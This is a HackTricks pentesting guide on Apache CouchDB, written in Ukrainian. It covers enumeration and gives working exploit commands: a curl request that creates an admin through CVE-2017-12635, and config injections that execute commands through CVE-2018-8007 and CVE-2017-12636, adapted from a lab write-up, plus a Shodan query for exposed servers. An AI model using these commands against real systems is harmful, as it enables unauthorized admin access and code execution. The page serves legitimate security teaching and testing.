hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

247 lines
24 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Основна інформація**
**CouchDB** - це універсальна та потужна **документно-орієнтована база даних**, яка організовує дані, використовуючи структуру **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або мапи**, що забезпечує гнучкість у зберіганні та отриманні даних.
Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер версії** (`_rev`). Цей номер версії дозволяє ефективно **відстежувати та керувати змінами**, полегшуючи легке отримання та синхронізацію даних у базі даних.
**Порт за замовчуванням:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Автоматичне перерахування**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Ручна енумерація
### Банер
```
curl http://IP:5984/
```
Це надсилає GET-запит до встановленої CouchDB інстанції. Відповідь повинна виглядати приблизно так, як одна з наступних:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на зразок цього: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки.
{% endhint %}
### Info Enumeration
Це кінцеві точки, до яких ви можете отримати доступ за допомогою **GET** запиту та витягти деяку цікаву інформацію. Ви можете знайти [**більше кінцевих точок та більш детальні описи в документації couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу.
* **`/_all_dbs`** Повертає список усіх баз даних у екземплярі CouchDB.
* **`/_cluster_setup`** Повертає статус вузла або кластера, відповідно до майстра налаштування кластера.
* **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних `_global_changes` є обов'язковим для використання цієї кінцевої точки.
* **`/_membership`** Відображає вузли, які є частиною кластера, як `cluster_nodes`. Поле `all_nodes` відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера.
* **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей.
* **`/_scheduler/docs`** Список станів документів реплікації. Включає інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Кінцева точка `/_node/{node-name}` може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до `/_node/_local`, щоб отримати цю інформацію.
* **`/_node/{node-name}/_stats`** Ресурс `_stats` повертає об'єкт JSON, що містить статистику для запущеного сервера. Літеральний рядок `_local` служить псевдонімом для імені локального вузла, тому для всіх URL статистики `{node-name}` може бути замінено на `_local`, щоб взаємодіяти зі статистикою локального вузла.
* **`/_node/{node-name}/_system`** Ресурс \_system повертає об'єкт JSON, що містить різну статистику на рівні системи для запущеного сервера\_.\_ Ви можете використовувати \_\_`_local` як {node-name}, щоб отримати інформацію про поточний вузол.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Підтверджує, що сервер працює, запущений і готовий відповідати на запити. Якщо [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) є `true` або `nolb`, кінцева точка поверне відповідь 404.
* **`/_uuids`** Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB.
* **`/_reshard`** Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом перерозподілу на кластері.
Більш цікаву інформацію можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Якщо цей запит **відповідає з 401 неавторизовано**, тоді вам потрібні **дійсні облікові дані** для доступу до бази даних:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Щоб знайти дійсні облікові дані, ви могли б **спробувати** [**зламати сервіс**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Це **приклад** відповіді couchdb, коли у вас є **достатньо привілеїв** для переліку баз даних (Це просто список баз даних):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Database Info
Ви можете отримати деяку інформацію про базу даних (таку як кількість файлів та їх розміри), отримавши доступ до назви бази даних:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Список документів**
Перерахуйте кожен запис у базі даних
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Прочитати документ**
Прочитайте вміст документа всередині бази даних:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Привілейоване Підвищення [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Завдяки відмінностям між парсерами JSON Erlang та JavaScript ви можете **створити адміністратора** з обліковими даними `hacktricks:hacktricks` за допомогою наступного запиту:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Більше інформації про цю вразливість тут**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Огляд безпеки Erlang Cookie**
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластеру. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами.
Особливу увагу слід звернути на безпеку порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як засіб захисту. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для віддаленого виконання коду (RCE) в контексті систем Erlang, доступний спеціальний розділ для подальшого читання. Він детально описує методології використання cookie Erlang несанкціонованими способами для досягнення контролю над системами. Ви можете **[дослідити детальний посібник з зловживання cookie Erlang для RCE тут](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Експлуатація CVE-2018-8007 через модифікацію local.ini**
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Недавно розкрита вразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що для експлуатації потрібні права на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Нижче наведені детальні кроки та приклади коду, що демонструють процес.
Спочатку середовище готується, забезпечуючи, щоб файл `local.ini` був записуваним, що перевіряється шляхом переліку прав:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Щоб експлуатувати вразливість, виконується команда curl, націлена на конфігурацію `cors/origins` у `local.ini`. Це інжектує новий походження разом з додатковими командами в секцію `[os_daemons]`, з метою виконання довільного коду:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Подальша перевірка показує ін'єковану конфігурацію в `local.ini`, контрастуючи її з резервною копією, щоб підкреслити зміни:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Спочатку очікуваний файл (`/tmp/0xdf`) не існує, що вказує на те, що ін'єкована команда ще не була виконана. Подальше розслідування виявляє, що запущені процеси, пов'язані з CouchDB, включаючи один, який потенційно може виконати ін'єковану команду:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Завершивши виявлений процес CouchDB і дозволивши системі автоматично перезапустити його, виконується ін'єкована команда, що підтверджується наявністю раніше відсутнього файлу:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Це дослідження підтверджує життєздатність експлуатації CVE-2018-8007 за певних умов, зокрема вимогу наявності прав на запис до файлу `local.ini`. Наведені приклади коду та процедурні кроки пропонують чіткий посібник для відтворення експлуатації в контрольованому середовищі.
Для отримання додаткової інформації про CVE-2018-8007, зверніться до рекомендацій mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Дослідження CVE-2017-12636 з правами на запис у local.ini**
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Вразливість, відома як CVE-2017-12636, була досліджена, що дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть перешкоджати її експлуатації. Незважаючи на численні посилання на Proof of Concept (POC), доступні в Інтернеті, необхідні коригування для експлуатації вразливості на версії CouchDB 2, яка відрізняється від зазвичай націленої версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху серверів запитів:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Щоб підтримати версію CouchDB 2.0, використовується новий шлях:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Подальше розслідування виявило проблеми з дозволами на файл `local.ini`, який не можна було змінити. Змінивши дозволи файлу з доступом root або homer, стало можливим продовжити:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Наступні спроби додати сервер запитів були успішними, про що свідчить відсутність повідомлень про помилки у відповіді. Успішна модифікація файлу `local.ini` була підтверджена через порівняння файлів:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
A **[резюме](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** з альтернативним payload надає додаткові відомості про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають:
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## References
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}